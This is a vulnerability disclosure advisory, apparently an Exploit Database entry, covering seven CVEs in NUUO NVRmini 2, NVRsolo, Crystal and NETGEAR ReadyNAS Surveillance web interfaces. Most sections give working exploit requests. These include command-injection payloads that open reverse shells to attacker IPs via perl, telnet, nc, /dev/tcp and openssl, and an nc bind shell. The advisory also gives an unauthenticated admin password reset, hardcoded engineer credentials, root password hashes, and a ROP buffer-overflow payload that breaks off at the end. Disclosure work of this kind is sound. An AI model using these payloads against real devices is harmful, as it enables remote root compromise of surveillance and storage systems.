https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40197.zip
            
>> Multiple vulnerabilities in NUUO NVRmini2 / NVRsolo / Crystal devices and NETGEAR ReadyNAS Surveillance application
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/08/2016 / Last updated: 04/08/2016


>> Background on the affected products:
"NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always."
"NVRsolo is NUUO’s answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs."
"NUUO Crystal is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO Crystal is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO Crystal."
"(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."


>> Summary:
NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems.

The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.

Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.

A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.


>> Technical details:
#1
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5674
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):

function print_file($file_fullpath_name)
{
    $cmd = "cat " . $file_fullpath_name;
    echo $file_fullpath_name . "\n\n";
    system($cmd);
}

<?php
    if (isset($_GET['log']) && !empty($_GET['log']))
    {
        $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
        print_file($file_fullpath_name);
    }
    else
    {
        die("unknown command.");
    }
?>

The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:
- ReadyNAS Surveillance:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.

- NVRmini 2 and NVRsolo:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 
This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.


#2
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5675
Attack Vector: Remote
Constraints: Requires an administrator account
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):
    else if ($act == 'update')
    {
        $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
        
        $find_str = "time server";
        
        $sys_msg = system($cmd);
        $pos = strpos($sys_msg, $find_str);

The file can only be accessed by an authenticted user.
- ReadyNAS Surveillance:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
This will create a /tmp/test file with the contents of "admin" (current user).

- NVRmini 2 and NVRsolo:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Connects a shell to 192.168.1.204, port 9000, running as root.

- Crystal:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Connects a shell to 192.168.1.204, port 4444, running as root.


#3
Vulnerability: Administrator password reset
CVE-2016-5676
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.

Proof of concept:
GET /cgi-bin/cgi_system?cmd=loaddefconfig

This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.


#4
Vulnerability: Information disclosure (system processes, available memory and filesystem status)
CVE-2016-5677
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit


#5 
Vulnerability: Harcoded root password 
CVE-2016-5678
Affected products / versions:
- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0

The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.

NVRmini 2:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::

  
#6 
Vulnerability: Command injection in cgi_main transfer license command
CVE-2016-5679
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The transfer_license command has a command injection vulnerability in the "sn" parameter:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Sample exploit for NVRmini2 (open bind shell on port 4444):
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
      
      
#7 
Vulnerability: Stack buffer overflow in cgi_main transfer license command
CVE-2016-5680
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.

Function 0x20BC9C (NVRmini2 firmware v3.0.0):
      method = getval("method");
      sn = getval("sn");
      (...)
      memset(&command, 0, 128);
      sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
      system(&command);

> For example if the following request is performed:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

> A core file is generated:
Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r
r0             0x0	0
r1             0x0	0
r2             0x407aa4d0	1081779408
r3             0x407aa9e0	1081780704
r4             0x61616161	1633771873
r5             0x61616161	1633771873
r6             0x61616161	1633771873
r7             0x61616161	1633771873
r8             0x331fc8	3350472
r9             0x1	1
r10            0x33db54	3398484
r11            0x0	0
r12            0x1	1
sp             0xbedce528	0xbedce528
lr             0x61616161	1633771873
pc             0x61616160	0x61616160
cpsr           0x60000030	1610612784
(gdb) 

The request can be sent by an HTTP GET or POST method.

> A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 976
4444: r4 register content, offset 962
5555: r5 register content, offset 966
6666: r6 register content, offset 970
7777: r7 register content, offset 974
SSSS: start of stack pointer, offset 992

> On the ReadyNAS Surveillance one additional register (r8) can be controlled:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 986
4444: r4 register content, offset 968
5555: r5 register content, offset 970
6666: r6 register content, offset 974
7777: r7 register content, offset 978
8888: r8 register content, offset 982
SSSS: start of stack pointer, offset 1002

> Exploit mitigations and constraints
The table below shows the exploit mitigation technologies for each target:
         NVRmini2   ReadyNAS
NX          Y          Y
RELRO    Partial    Partial
ASLR        N          Y

An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).

> Exploitation in the NVRmini2 (firmware v3.0.0):
This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.

0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget)
0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system)
0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")

Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}

Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%